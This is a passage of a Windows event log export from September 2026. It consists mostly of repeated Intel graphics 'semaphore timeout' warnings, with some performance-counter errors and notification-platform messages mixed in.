Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:40.348\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:42.686\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:43.024\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:43.244\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:44.246\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:44.471\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:44.728\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:46.477\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:47.365\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:06.198\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, WhqlProvider, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:37:06.200\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, InvProv, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:37:06.202\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, DeliveryOptimizationMIProv, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:37:10.079\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:10.303\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:10.524\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:10.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:12.042\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T01:37:12Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:37:12.531\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:13.640\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:14.861\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:15.418\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:17.632\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:19.847\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:20.175\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:22.053\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:22.716\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:23.590\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:24.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:25.477\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:25.698\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:26.702\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:35.057\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:35.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:35.729\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:36.064\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:36.210\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, Win32_TpmProvider, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:37:36.622\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:36.843\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:37.394\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:37.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:37.939\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:38.161\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:38.385\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:39.053\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:39.274\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:39.605\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:39.942\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:40.612\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:41.055\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:41.830\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:42.056\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:42.278\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:42.503\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:42.727\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:42.949\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:43.173\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:43.397\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:43.720\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:44.157\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:44.382\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:44.770\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:37:45.164\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:45.384\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:45.606\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:45.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:46.054\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:46.499\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:46.940\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:47.386\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:47.833\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:48.817\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:49.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:49.263\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:49.928\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:50.153\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:50.375\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:51.152\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:51.379\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:51.603\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:51.945\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:52.149\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:52.364\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:52.702\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:52.921\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:53.130\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:37:58.461\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:06.208\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, WMIProv, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:38:15.035\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:20.928\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:21.146\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:21.693\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:22.139\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:22.815\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:23.147\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:23.592\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:24.702\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:25.258\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:26.695\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:26.902\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:27.346\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:28.126\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:28.455\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:28.675\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:28.899\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:29.901\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:31.225\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:31.441\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:31.774\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:31.998\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:32.220\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:33.222\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:33.780\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:38:34.111\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 